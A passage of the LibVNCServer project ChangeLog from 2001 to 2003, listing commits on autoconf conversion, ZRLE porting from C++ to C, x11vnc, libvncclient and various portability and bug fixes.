7372 McLoughlin <mark@skynet.ie> * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h,
7373 rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h,
7374 rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx,
7375 rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx,
7376 rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h,
7377 rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: remove original C++ ZRLE implementation. Its been ported to C. * NEWS: copy the existing ChangeLog to here and make this a more detailed ChangeLog.
7378
73792003-09-08 dscho <dscho>
7380
7381 * AUTHORS, ChangeLog, Makefile.am, Makefile.in, autogen.sh,
7382 classes/Makefile.in, config.h.in, configure, configure.ac,
7383 contrib/Makefile.in, examples/Makefile.in,
7384 libvncclient/Makefile.in, rfb/rfb.h, rfb/rfbproto.h, rfbserver.c,
7385 test/Makefile.in, vncterm/Makefile.in, zrle.c,
7386 zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h,
7387 zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: ZRLE no
7388 longer uses C++, but C
7389
73902003-08-29 dscho <dscho>
7391
7392 * ChangeLog, Makefile.in, configure, configure.ac,
7393 libvncclient/Makefile.in, test/Makefile.in, vncterm/Makefile.in:
7394 added --disable-cxx flag to configure
7395
73962003-08-18 dscho <dscho>
7397
7398 * contrib/x11vnc.c: Karl Runge: 8bpp handling now much better,
7399 single window also, many improvements
7400
74012003-08-18 dscho <dscho>
7402
7403 * httpd.c, main.c, rfbserver.c, sockets.c: socklen_t -> size_t
7404
74052003-08-18 dscho <dscho>
7406
7407 * Makefile.in, aclocal.m4, classes/Makefile.in, config.h.in,
7408 contrib/Makefile.in, examples/Makefile.in, vncterm/Makefile.in:
7409 using autoconf 1.6
7410
74112003-08-09 dscho <dscho>
7412
7413 * README: added Projects section
7414
74152003-08-08 dscho <dscho>
7416
7417 * .cvsignore, classes/.cvsignore, libvncclient/.cvsignore,
7418 test/.cvsignore: more files to ignore
7419
74202003-08-08 dscho <dscho>
7421
7422 * libvncclient/rfbproto.c, libvncclient/tight.c,
7423 libvncclient/zlib.c, main.c, rfbserver.c: make --without-jpeg,
7424 --without-zlib work
7425
74262003-08-08 dscho <dscho>
7427
7428 * AUTHORS, configure, configure.ac: add --without-jpeg,
7429 --without-zlib; repair --without-backchannel, --without-24bpp
7430
74312003-08-08 dscho <dscho>
7432
7433 * httpd.c, sockets.c: handle EINTR after select()
7434
74352003-08-06 dscho <dscho>
7436
7437 * ChangeLog, auth.c, contrib/x11vnc.c, examples/fontsel.c,
7438 examples/mac.c, httpd.c, main.c, rfb/rfb.h, rfbregion.c,
7439 rfbserver.c, rre.c, sockets.c, translate.c, vncterm/LinuxVNC.c,
7440 vncterm/VNCommand.c, zlib.c: rfbErr introduced
7441
74422003-08-03 dscho <dscho>
7443
7444 * rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to
7445 LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary...
7446
74472003-08-02 dscho <dscho>
7448
7449 * config.h.in, configure, configure.ac: really check for setsid, not
7450 pgrp
7451
74522003-08-02 dscho <dscho>
7453
7454 * main.c: overlooked endian config.h constant
7455
74562003-08-02 dscho <dscho>
7457
7458 * config.h.in: required file
7459
74602003-08-01 dscho <dscho>
7461
7462 * README, configure, configure.ac: mention NEWS in README, add
7463 checks for fork and setpgrp
7464
74652003-07-31 dscho <dscho>
7466
7467 * ChangeLog: credit last two changes to Erik
7468
74692003-07-31 dscho <dscho>
7470
7471 * main.c, rfb/rfb.h, sockets.c: rfbLog can be overridden; EINTR on
7472 read/write means just try again
7473
74742003-07-30 dscho <dscho>
7475
7476 * Makefile.am, Makefile.in, rfb/rfb.h, rfb/rfbclient.h: add
7477 rfbclient.h to distribution; avoid C++ style comments
7478
74792003-07-30 dscho <dscho>
7480
7481 * AUTHORS, ChangeLog, Makefile.in, NEWS, README, acinclude.m4,
7482 aclocal.m4, auth.c, cargs.c, classes/Makefile.in, configure,
7483 configure.ac, contrib/Makefile.in, contrib/x11vnc.c,
7484 contrib/zippy.c, corre.c, cursor.c, cutpaste.c, draw.c,
7485 examples/Makefile.in, examples/example.c, examples/mac.c,
7486 examples/pnmshow.c, examples/pnmshow24.c, examples/vncev.c, font.c,
7487 hextile.c, httpd.c, libvncclient/Makefile.in, libvncclient/corre.c,
7488 libvncclient/cursor.c, libvncclient/hextile.c,
7489 libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c,
7490 libvncclient/sockets.c, libvncclient/tight.c,
7491 libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, rfb/rfb.h,
7492 rfb/rfbclient.h, rfb/rfbconfig.h.in, rfb/rfbproto.h,
7493 rfb/rfbregion.h, rfbregion.c, rfbserver.c, rre.c, selbox.c,
7494 sockets.c, stats.c, test/Makefile.in, tight.c, translate.c,
7495 vncauth.c, vncterm/LinuxVNC.c, vncterm/Makefile.in,
7496 vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
7497 zlib.c, zrle.cxx: API change: Bool, KeySym, Pixel get prefix "rfb";
7498 constants in rfbconfig.h get prefix "LIBVNCSERVER_"
7499
75002003-07-29 dscho <dscho>
7501
7502 * cursor.c, libvncclient/client_test.c, libvncclient/rfbproto.c,
7503 libvncclient/vncviewer.c, main.c, rfb/rfb.h, rfb/rfbclient.h,
7504 test/tight-1.c, tight.c: further valgrinding showed leaked mallocs
7505
75062003-07-28 dscho <dscho>
7507
7508 * ChangeLog, README.cvs: adapted dox
7509
75102003-07-28 dscho <dscho>
7511
7512 * libvncclient/Makefile: is autoconfed now
7513
75142003-07-28 dscho <dscho>
7515
7516 * Makefile.am, Makefile.in, aclocal.m4, classes/Makefile.in,
7517 configure, configure.ac, contrib/Makefile.in, contrib/x11vnc.c,
7518 contrib/zippy.c, examples/1instance.c, examples/Makefile.in,
7519 examples/fontsel.c, examples/mac.c, examples/pnmshow.c,
7520 examples/pnmshow24.c, examples/vncev.c, libvncclient/Makefile,
7521 libvncclient/Makefile.am, libvncclient/Makefile.in,
7522 libvncclient/client_test.c, libvncclient/corre.c,
7523 libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c,
7524 libvncclient/sockets.c, libvncclient/tight.c,
7525 libvncclient/vncviewer.c, libvncclient/zlib.c, main.c,
7526 rdr/FdInStream.cxx, rdr/ZlibOutStream.cxx, rfb/rfb.h,
7527 rfb/rfbclient.h, rfb/rfbconfig.h.in, rfbregion.c, rfbserver.c,
7528 test/Makefile.am, test/Makefile.in, test/tight-1.c, tight.c,
7529 vncterm/LinuxVNC.c, vncterm/Makefile.in, vncterm/VNCommand.c,
7530 vncterm/VNConsole.c, vncterm/example.c: fixed maxRectsPerUpdate with
7531 Tight encoding bug; some autoconfing; stderr should not be used in a
7532 library (use rfbLog instead)
7533
75342003-07-28 dscho <dscho>
7535
7536 * test/tight-1.c: first beginnings of automatic tests, thanks to
7537 libvncclient
7538
75392003-07-28 dscho <dscho>
7540
7541 * ChangeLog, TODO, main.c, rfb/rfb.h, rfb/rfbregion.h, rfbregion.c,
7542 rfbserver.c, sockets.c, tight.c, vncauth.c: synced with TightVNC and
7543 RealVNC
7544
75452003-07-28 dscho <dscho>
7546
7547 * Makefile.am, Makefile.in, examples/Makefile.am,
7548 examples/Makefile.in: debug flags
7549
75502003-07-27 dscho <dscho>
7551
7552 * ChangeLog: libvncclient
7553
75542003-07-27 dscho <dscho>
7555
7556 * libvncclient/Makefile, libvncclient/corre.c,
7557 libvncclient/cursor.c, libvncclient/hextile.c,
7558 libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c,
7559 libvncclient/sockets.c, libvncclient/tight.c,
7560 libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h,
7561 vncauth.c: first alpha version of libvncclient
7562
75632003-07-27 dscho <dscho>
7564
7565 * rfb/rfb.h, rfb/rfbproto.h, vncauth.c: make vncauth usable also for
7566 upcoming libvncclient
7567
75682003-07-25 dscho <dscho>
7569
7570 * ChangeLog, examples/.cvsignore, examples/Makefile.am,
7571 examples/Makefile.in, examples/simple.c, examples/simple15.c,
7572 index.html: Added simple examples
7573
75742003-07-11 dscho <dscho>
7575
7576 * rfb/rfbconfig.h, rfb/rfbint.h: these files are generated by
7577 configure
7578
75792003-07-11 dscho <dscho>
7580
7581 * ChangeLog, httpd.c: long standing bug in http; was sending .jar
7582 twice
7583
75842003-07-10 dscho <dscho>
7585
7586 * INSTALL, Makefile.in, aclocal.m4, classes/Makefile.in, configure,
7587 contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh,
7588 missing, mkinstalldirs, rfb/rfbconfig.h, rfb/rfbconfig.h.in,
7589 rfb/rfbint.h, rfb/stamp-h.in, vncterm/Makefile.in: another try to
7590 make CVS more helpful with configure
7591
75922003-07-10 dscho <dscho>
7593
7594 * Makefile.am, classes/Makefile.am, configure.ac: also distribute
7595 classes/ directory
7596
75972003-07-10 dscho <dscho>
7598
7599 * cargs.c: fix compile
7600
76012003-06-28 dscho <dscho>
7602
7603 * ChangeLog, cargs.c: http options inserted
7604
76052003-05-05 dscho <dscho>
7606
7607 * configure.ac: fix am__fastdepCXX for system not having ZLIB
7608
76092003-04-03 dscho <dscho>
7610
7611 * contrib/ChangeLog: added ChangeLog for x11vnc
7612
76132003-04-03 dscho <dscho>
7614
7615 * contrib/x11vnc.c: new version from Karl!
7616
76172003-02-28 dscho <dscho>
7618
7619 * Makefile.am, configure.ac, libvncserver-config.in: let
7620 libvncserver-config behave as expected when called without
7621 installing
7622
76232003-02-27 dscho <dscho>
7624
7625 * README.cvs: added some documentation how to compile from CVS
7626 sources
7627
76282003-02-21 dscho <dscho>
7629
7630 * rfb/rfb.h: #include <rfb/rfbregion.h> instead of #include
7631 "rfbregion.h"
7632
76332003-02-20 dscho <dscho>
7634
7635 * ChangeLog: update ChangeLog
7636
76372003-02-20 dscho <dscho>
7638
7639 * index.html: #include <rfb/rfb.h> instead of "rfb.h"
7640
76412003-02-20 dscho <dscho>
7642
7643 * contrib/Makefile.am, contrib/x11vnc.c, contrib/zippy.c,
7644 examples/Makefile.am, examples/colourmaptest.c, examples/example.c,
7645 examples/fontsel.c, examples/mac.c, examples/pnmshow.c,
7646 examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c,
7647 libvncserver-config.in, vncterm/Makefile.am, vncterm/VNConsole.h:
7648 the correct way to include rfb.h is now "#include <rfb/rfb.h>"
7649
76502003-02-19 dscho <dscho>
7651
7652 * index.html: webpage update
7653
76542003-02-19 dscho <dscho>
7655
7656 * rfb/.cvsignore: forgotten .cvsignore
7657
76582003-02-19 dscho <dscho>
7659
7660 * Makefile.am: fixed header installation into $(prefix)/include/rfb
7661
76622003-02-18 dscho <dscho>
7663
7664 * Makefile.am, configure.ac, include/.cvsignore,
7665 include/default8x16.h, include/keysym.h, include/rfb.h,
7666 include/rfbproto.h, include/rfbregion.h, rfb/default8x16.h,
7667 rfb/keysym.h, rfb/rfb.h, rfb/rfbproto.h, rfb/rfbregion.h: moved
7668 include/ to rfb/
7669
76702003-02-18 dscho <dscho>
7671
7672 * sockets.c: fixed a bug when closing a client if no longer
7673 listening for new clients.
7674
76752003-02-17 dscho <dscho>
7676
7677 * cursor.c, include/rfb.h: export rfbReverseBytes; undefine VERSION,
7678 because it's too common
7679
76802003-02-17 dscho <dscho>
7681
7682 * INSTALL: INSTALL is copied by automake
7683
76842003-02-17 dscho <dscho>
7685
7686 * INSTALL: INSTALL was missing
7687
76882003-02-16 dscho <dscho>
7689
7690 * configure.ac, libvncserver-config.in: fixed --link option to
7691 libvncserver-config
7692
76932003-02-10 dscho <dscho>
7694
7695 * cvs_update_anonymously, include/rfbproto.h: cvs more flexible now;
7696 ZRLE encoding only when HAVE_ZRLE defined
7697
76982003-02-10 dscho <dscho>
7699
7700 * ChangeLog, rfbserver.c: really fixed ClientConnectionGone problem
7701
77022003-02-10 dscho <dscho>
7703
7704 * vncterm/LinuxVNC.c, vncterm/VNConsole.c: fixed LinuxVNC colours
7705
77062003-02-10 dscho <dscho>
7707
7708 * main.c, rfbserver.c: fixed a bug that prevented the first
7709 connection to be closed
7710
77112003-02-10 dscho <dscho>
7712
7713 * include/rfb.h: fixed pthread debugging (locks...)
7714
77152003-02-10 dscho <dscho>
7716
7717 * contrib/Makefile.am, examples/Makefile.am, vncterm/Makefile.am:
7718 fixed dependecy to libvncserver.a; if the lib is newer, the programs
7719 are relinked
7720
77212003-02-10 dscho <dscho>
7722
7723 * go: removed superfluous file
7724
77252003-02-10 dscho <dscho>
7726
7727 * examples/.cvsignore, examples/Makefile.am,
7728 examples/colourmaptest.c, vncterm/VNConsole.c: added
7729 colourmapexample; fixed LinuxVNC to show the right colours
7730
77312003-02-09 dscho <dscho>
7732
7733 * ChangeLog: vncterm imported, porting issues solved (IRIX, OS X,
7734 Solaris)
7735
77362003-02-09 dscho <dscho>
7737
7738 * configure.ac, examples/Makefile.am, examples/mac.c,
7739 vncterm/Makefile.am, vncterm/VNCommand.c: support for OS X is better
7740 now
7741
77422003-02-09 dscho <dscho>
7743
7744 * configure.ac, examples/Makefile.am: trying again to support OS X
7745
77462003-02-09 dscho <dscho>
7747
7748 * Makefile.am, configure.ac, examples/.cvsignore,
7749 vncterm/.cvsignore, vncterm/ChangeLog, vncterm/LinuxVNC.c,
7750 vncterm/Makefile.am, vncterm/README, vncterm/TODO,
7751 vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
7752 vncterm/example.c, vncterm/vga.h: included vncterm
7753
77542003-02-09 dscho <dscho>
7755
7756 * .cvsignore, configure.ac, examples/mac.c, mac.c: moved the
7757 OSXvnc-server to examples; IRIX fixes (not really IRIX, but shows
7758 there)
7759
77602003-02-09 dscho <dscho>
7761
7762 * Makefile.am, examples/Makefile.am, examples/regiontest.c,
7763 examples/sratest.c, include/rfbregion.h, main.c, rfbregion.c,
7764 rfbserver.c, sraRegion.c, sraRegion.h, translate.c: renamed
7765 sraRegion to rfbregion and put it in include/; will be installed now
7766
77672003-02-09 dscho <dscho>
7768
7769 * ChangeLog: portability changes
7770
77712003-02-09 dscho <dscho>
7772
7773 * configure.ac: order of X libraries is not good for IRIX
7774
77752003-02-09 dscho <dscho>
7776
7777 * configure.ac, main.c: include order was wrong
7778
77792003-02-09 dscho <dscho>
7780
7781 * Makefile.in, configure, contrib/Makefile.in, examples/Makefile.in:
7782 source from CVS always will need a current autoconf/automake
7783
77842003-02-09 dscho <dscho>
7785
7786 * Makefile.in, acinclude.m4, configure, contrib/Makefile.in,
7787 examples/Makefile.in: I give up supporting old autoconf/automake;
7788 now require at least 2.52
7789
77902003-02-09 dscho <dscho>
7791
7792 * acinclude.m4: more macros included for older autoconf/automake
7793
77942003-02-09 dscho <dscho>
7795
7796 * Makefile.am, TODO, acinclude.m4, auth.c, configure.ac,
7797 contrib/x11vnc.c, corre.c, cursor.c, cutpaste.c, hextile.c,
7798 httpd.c, include/.cvsignore, include/rfb.h, include/rfbproto.h,
7799 main.c, rfbserver.c, rre.c, sockets.c, sraRegion.c, stats.c,
7800 tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c,
7801 tabletrans24template.c, tabletranstemplate.c, tight.c, translate.c,
7802 vncauth.c, zlib.c, zrle.cxx: converted CARD{8,16,32} to
7803 uint{8,16,32}_t and included support for stdint.h
7804
78052003-02-09 dscho <dscho>
7806
7807 * .cvsignore: ignore libvncserver-config
7808
78092003-02-09 dscho <dscho>
7810
7811 * configure.ac, include/rfb.h, main.c: bigendian is now determined
7812 at configure time
7813
78142003-02-09 dscho <dscho>
7815
7816 * index.html: added website
7817
78182003-02-09 dscho <dscho>
7819
7820 * Makefile.am, configure.ac: small adjustments for autoconf/automake
7821 compatibility
7822
78232003-02-09 dscho <dscho>
7824
7825 * Makefile.am, configure.ac, contrib/Makefile.am,
7826 examples/Makefile.am, examples/vncev.c, libvncserver-config.in,
7827 libvncserver.spec.in: make dist fixed; make rpm introduced
7828
78292003-02-08 dscho <dscho>
7830
7831 * .cvsignore, Makefile, bootstrap.sh, contrib/.cvsignore,
7832 contrib/Makefile, examples/.cvsignore, examples/Makefile: removed
7833 Makefiles; these are generated now
7834
78352003-02-08 dscho <dscho>
7836
7837 * .cvsignore, contrib/.cvsignore, examples/.cvsignore,
7838 libvncserver.spec.in: ignore generated files
7839
78402003-02-08 dscho <dscho>
7841
7842 * contrib/.cvsignore, examples/.cvsignore, examples/blooptest.c,
7843 examples/sratest.c, include/.cvsignore: missing files
7844
78452003-02-08 dscho <dscho>
7846
7847 * AUTHORS, CHANGES, ChangeLog, NEWS, TODO: further autoconf'ing
7848
78492003-02-08 dscho <dscho>
7850
7851 * Makefile, Makefile.am, TODO, bootstrap.sh, configure.ac,
7852 contrib/Makefile, contrib/Makefile.am, examples/Makefile,
7853 examples/Makefile.am, examples/example.c, include/rfb.h,
7854 include/rfbproto.h, main.c, rfbserver.c, sockets.c, tight.c,
7855 zlib.c, zrle.cc, zrle.cxx: autoconf'ed everything
7856
78572003-02-07 dscho <dscho>
7858
7859 * examples/.cvsignore, examples/radon.h: added files
7860
78612003-02-07 dscho <dscho>
7862
7863 * cvs_update_anonymously, examples/Makefile: added Makefile in
7864 examples; "export" in cvs_update_anonymously
7865
78662003-02-07 dscho <dscho>
7867
7868 * 1instance.c, Makefile, contrib/Makefile, contrib/zippy.c,
7869 default8x16.h, examples/1instance.c, examples/pnmshow24.c,
7870 include/default8x16.h, include/keysym.h, include/rfb.h,
7871 include/rfbproto.h, keysym.h, main.c, radon.h, rfb.h, rfbproto.h:
7872 moved files to include; moved a file to examples/
7873
78742003-02-07 dscho <dscho>
7875
7876 * CHANGES, example.c, example.dsp, examples/example.c,
7877 examples/example.dsp, examples/fontsel.c, examples/pnmshow.c,
7878 examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c,
7879 fontsel.c, pnmshow.c, pnmshow24.c, storepasswd.c, vncev.c: moved
7880 files to contrib/ and examples/
7881
78822002-12-30 dscho <dscho>
7883
7884 * CHANGES, cargs.c: fixed cargs (segmentation fault!)
7885
78862002-12-25 dscho <dscho>
7887
7888 * contrib/x11vnc.c: strange, but standard X11 behaviour from Sun
7889 keymappings...
7890
78912002-12-20 dscho <dscho>
7892
7893 * contrib/x11vnc.c: include commented debug functionality
7894
78952002-12-20 dscho <dscho>
7896
7897 * contrib/x11vnc.c: AltGr fixes in x11vnc, renamed from altgr to
7898 modtweak
7899
79002002-12-20 dscho <dscho>
7901
7902 * Makefile: fixed compilation for zippy
7903
79042002-12-20 dscho <dscho>
7905
7906 * contrib/Makefile: Makefile for contrib
7907
79082002-12-19 dscho <dscho>
7909
7910 * contrib/x11vnc.c, contrib/zippy.c: new version of x11vnc from Karl
7911 Runge
7912
79132002-12-15 dscho <dscho>
7914
7915 * contrib/x11vnc.c: small fixes: in X11/Xlib.h Bool is int (Karl
7916 Runge); indexed colour support
7917
79182002-12-15 dscho <dscho>
7919
7920 * Makefile, rfbserver.c: fix: if no CXX is defined, really don't use
7921 zrle (Karl Runge)
7922
79232002-12-06 dscho <dscho>
7924
7925 * CHANGES, Makefile, contrib/x11vnc.c, contrib/zippy.c, httpd.c,
7926 main.c, rfb.h, x11vnc.c, zippy.c: compiler warnings, contrib
7927 directory, new x11vnc from Karl Runge
7928
79292002-10-29 dscho <dscho>
7930
7931 * CHANGES, main.c, rfbserver.c: fixed severe bug with sending
7932 fbupdates
7933
79342002-10-29 dscho <dscho>
7935
7936 * CHANGES, README, cursor.c, main.c, rfb.h, rfbproto.h,
7937 rfbserver.c, stats.c: patch from Const for CursorPosUpdate encoding
7938
79392002-10-22 dscho <dscho>
7940
7941 * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h,
7942 rdr/FdOutStream.cxx, rdr/FdOutStream.h, rdr/FixedMemOutStream.h,
7943 rdr/InStream.cxx, rdr/InStream.h, rdr/MemInStream.h,
7944 rdr/MemOutStream.h, rdr/NullOutStream.cxx, rdr/NullOutStream.h,
7945 rdr/OutStream.h, rdr/ZlibInStream.cxx, rdr/ZlibInStream.h,
7946 rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, rdr/types.h: rdr
7947
79482002-10-22 dscho <dscho>
7949
7950 * Makefile, corre.c, cvs_update_anonymously, httpd.c, main.c,
7951 rfb.h, rfbproto.h, rfbserver.c, stats.c, zrle.cc, zrleDecode.h,
7952 zrleEncode.h: updated to vnc-3.3.4 (ZRLE encoding)
7953
79542002-08-31 dscho <dscho>
7955
7956 * x11vnc.c: patch for IRIX
7957
79582002-08-31 dscho <dscho>
7959
7960 * cvs_update_anonymously, httpd.c, rfbserver.c, vncauth.c: socket
7961 via proxy gets options set, compiler warning fixes
7962
79632002-08-31 dscho <dscho>
7964
7965 * Makefile, cvs_update_anonymously, httpd.c, mac.c, pnmshow24.c,
7966 vncev.c, x11vnc.c, zippy.c: compiler warnings and format
7967 vulnerabilities fixed
7968
79692002-08-27 dscho <dscho>
7970
7971 * Makefile, httpd.c: IRIX changes
7972
79732002-08-22 dscho <dscho>
7974
7975 * CHANGES: changes
7976
79772002-08-22 dscho <dscho>
7978
7979 * classes/javaviewer.pseudo_proxy.patch, example.c, httpd.c,
7980 main.c, rfb.h: a pseudo HTTP request for tunnelling (also via strict
7981 Web Proxy) was added.
7982
79832002-08-22 dscho <dscho>
7984
7985 * classes/index.vnc, httpd.c, vncauth.c: synchronized with tightVNC
7986 1.2.5
7987
79882002-08-19 dscho <dscho>
7989
7990 * Makefile, auth.c, cursor.c, example.c, httpd.c, main.c,
7991 pnmshow.c, rfb.h, rfbserver.c, sraRegion.c, sraRegion.h, tight.c,
7992 vncauth.c: unwarn compilation
7993
79942002-07-28 dscho <dscho>
7995
7996 * CHANGES, README: prepare for version 0.4
7997
79982002-07-28 dscho <dscho>
7999
8000 * CHANGES, classes/index.vnc, example.c, httpd.c, main.c, rfb.h,
8001 rfbproto.h, rfbserver.c, stats.c: NewFB encoding added
8002
80032002-06-13 dscho <dscho>
8004
8005 * main.c, rfbserver.c, sockets.c: pthread fix
8006
80072002-05-03 dscho <dscho>
8008
8009 * Makefile, rfb.h: solaris fixes (INADDR_NONE)
8010
80112002-05-02 dscho <dscho>
8012
8013 * selbox.c: index was shadowed
8014
80152002-05-02 dscho <dscho>
8016
8017 * cursor.c, font.c, httpd.c, main.c, rfb.h, rfbserver.c, sockets.c,
8018 sraRegion.c, stats.c, tableinit24.c, tight.c, translate.c: Tim's
8019 Changes
8020
80212002-04-30 dscho <dscho>
8022
8023 * cargs.c, rfb.h: command line handling
8024
80252002-04-30 dscho <dscho>
8026
8027 * Makefile, mac.c: more mac
8028
80292002-04-30 dscho <dscho>
8030
8031 * mac.c: dimming for mac
8032
80332002-04-30 dscho <dscho>
8034
8035 * mac.c: Mac compile fix
8036
80372002-04-25 dscho <dscho>
8038
8039 * Makefile, x11vnc.c: x11vnc memleaks patched
8040
80412002-04-25 dscho <dscho>
8042
8043 * CHANGES, cursor.c, example.c, main.c, rfbserver.c: memleaks
8044 patched
8045
80462002-04-25 dscho <dscho>
8047
8048 * mac.c: now colour handling should be correct
8049
80502002-04-24 dscho <dscho>
8051
8052 * main.c: bug for 3 bpp planes (as Mac OSX)
8053
80542002-04-23 dscho <dscho>
8055
8056 * CHANGES, classes/index.vnc, httpd.c, rfbserver.c, sockets.c: sync
8057 with TightVNC 1.2.3
8058
80592002-04-23 dscho <dscho>
8060
8061 * Makefile, mac.c: OSXvnc-server compile fixes
8062
80632002-04-23 dscho <dscho>
8064
8065 * CHANGES, Makefile, rfb.h: another solaris clean compile
8066
80672002-04-23 dscho <dscho>
8068
8069 * x11vnc.c: KBDDEBUG
8070
80712002-04-23 dscho <dscho>
8072
8073 * main.c, rfb.h: solaris endian changes
8074
80752002-03-04 dscho <dscho>
8076
8077 * Makefile, rfbserver.c, sockets.c: reverted exception fds to NULL,
8078 because of unexpected behaviour
8079
80802002-02-19 dscho <dscho>
8081
8082 * CHANGES: changes
8083
80842002-02-18 dscho <dscho>
8085
8086 * sockets.c: select exceptfds
8087
80882002-02-18 dscho <dscho>
8089
8090 * README, cursor.c, example.c, httpd.c, main.c, rfb.h, rfbserver.c,
8091 sockets.c, tight.c, translate.c: changes from Tim Jansen: threading
8092 issues, new client can be rejected, and more
8093
80942002-01-17 dscho <dscho>
8095
8096 * 1instance.c, Makefile: compile warning fix, dependency on
8097 1instance.c
8098
80992002-01-17 dscho <dscho>
8100
8101 * mac.c: compile warning fix
8102
81032002-01-17 dscho <dscho>
8104
8105 * font.c, rfb.h, rfbproto.h, rfbserver.c, vncauth.c: correct
8106 BackChannel handling, compile cleanups
8107
81082002-01-16 dscho <dscho>
8109
8110 * mac.c: compile fix
8111
81122002-01-16 dscho <dscho>
8113
8114 * 1instance.c, Makefile, cargs.c, mac.c, rfb.h, rfbproto.h,
8115 rfbserver.c, x11vnc.c: clean ups and encoding "backchannel"
8116
81172002-01-14 dscho <dscho>
8118
8119 * mac.c: fixed compile on MAC
8120
81212002-01-14 dscho <dscho>
8122
8123 * mac.c: toggle view only with OSX
8124
81252002-01-14 dscho <dscho>
8126
8127 * 1instance.c, x11vnc.c: view mode now toggleable
8128
81292001-12-21 dscho <dscho>
8130
8131 * mac.c, x11vnc.c: shared mode added
8132
81332001-12-14 dscho <dscho>
8134
8135 * cargs.c, main.c: *argc=0 in cargs allowed, when copying area,
8136 first undraw cursor ...
8137
81382001-12-11 dscho <dscho>
8139
8140 * mac.c: fixed osx compiling
8141
81422001-12-09 dscho <dscho>
8143
8144 * Makefile, mac.c: Makefile cleanup, some special options for OSX
8145
81462001-12-09 dscho <dscho>
8147
8148 * x11vnc.c: tile modus now near perfect (shm's better though)
8149
81502001-12-08 dscho <dscho>
8151
8152 * x11vnc.c: start to probe single pixels for updates
8153
81542001-11-27 dscho <dscho>
8155
8156 * TODO, x11vnc.c: fixed dumb XTestFakeInput bug
8157
81582001-11-27 dscho <dscho>
8159
8160 * TODO, x11vnc.c: removed XTestGrabControl. Doesn't really solve the
8161 problem of a bad param.
8162
81632001-11-27 dscho <dscho>
8164
8165 * TODO, x11vnc.c: few changes
8166
81672001-11-27 dscho <dscho>
8168
8169 * Makefile, x11vnc.c: input works on other X11 servers than XFree86
8170
81712001-11-26 dscho <dscho>
8172
8173 * TODO, x11vnc.c: no crash when display was wrong
8174
81752001-11-26 dscho <dscho>
8176
8177 * TODO: todo
8178
81792001-11-25 dscho <dscho>
8180
8181 * x11vnc.c: init keyboard now takes correct display
8182
81832001-11-23 dscho <dscho>
8184
8185 * x11vnc.c: keyboard handling now works.
8186
81872001-11-22 dscho <dscho>
8188
8189 * x11vnc.c: added cmd line parameters
8190
81912001-11-21 dscho <dscho>
8192
8193 * CHANGES: changes
8194
81952001-11-20 dscho <dscho>
8196
8197 * x11vnc.c: shm works again
8198
81992001-11-20 dscho <dscho>
8200
8201 * Makefile, x11vnc.c: missing include for XTest
8202
82032001-11-19 dscho <dscho>
8204
8205 * x11vnc.c: x11vnc now works with colour maps
8206
82072001-11-19 dscho <dscho>
8208
8209 * x11vnc.c: tmp
8210
82112001-11-19 dscho <dscho>
8212
8213 * x11vnc.c: first support for colourmaps
8214
82152001-11-19 dscho <dscho>
8216
8217 * Makefile, x11vnc.c: works, but loads high
8218
82192001-11-19 dscho <dscho>
8220
8221 * cargs.c, main.c, rfb.h: cmdline arg -passwd added
8222
82232001-11-19 dscho <dscho>
8224
8225 * Makefile, x11vnc.c: x11vnc now works view only and with SHM
8226
82272001-11-18 dscho <dscho>
8228
8229 * Makefile, example.c, main.c, rfb.h, rfbserver.c, x11vnc.c: start
8230 x11vnc, an x0rfbserver clone
8231
82322001-11-15 dscho <dscho>
8233
8234 * example.dsp, libvncserver.dsp, libvncserver.dsw, main.c, rfb.h,
8235 rfbserver.c, sockets.c: Visual C++ / win32 compatibility
8236 reestablished
8237
82382001-11-14 dscho <dscho>
8239
8240 * Makefile, TODO, font.c: docu, warning fixed
8241
82422001-11-14 dscho <dscho>
8243
8244 * CHANGES: changes
8245
82462001-11-14 dscho <dscho>
8247
8248 * cargs.c: separated argument handling from main.c
8249
82502001-11-14 dscho <dscho>
8251
8252 * Makefile, d3des.h, example.c, fontsel.c, keysym.h, mac.c, main.c,
8253 pnmshow.c, pnmshow24.c, rfb.h, rfbproto.h, sraRegion.h, vncev.c,
8254 zippy.c: changes from Justin, zippy added
8255
82562001-11-08 dscho <dscho>
8257
8258 * main.c: gettimeofday for windows
8259
82602001-10-25 dscho <dscho>
8261
8262 * Makefile, main.c, rfbserver.c, sraRegion.c, sraRegion.h: clean ups
8263
82642001-10-19 dscho <dscho>
8265
8266 * CHANGES: changes
8267
82682001-10-18 dscho <dscho>
8269
8270 * Makefile, TODO, draw.c, main.c, rfb.h, vncev.c: add rfbDrawLine,
8271 rfbDrawPixel and vncev, an xev "lookalike"
8272
82732001-10-16 dscho <dscho>
8274
8275 * main.c: scheduleCopyRegion no longer sends frameBufferUpdates (no
8276 longer clobbers deferring)
8277
82782001-10-16 dscho <dscho>
8279
8280 * CHANGES, TODO, main.c, rfb.h, rfbserver.c: deferUpdate
8281
82822001-10-16 dscho <dscho>
8283
8284 * TODO, font.c, rfbserver.c: font errors, requestedRegion bug
8285
82862001-10-15 dscho <dscho>
8287
8288 * .gdb_history: unneccessary file
8289
82902001-10-13 dscho <dscho>
8291
8292 * font.c: INT_MAX maybe not defined
8293
82942001-10-13 dscho <dscho>
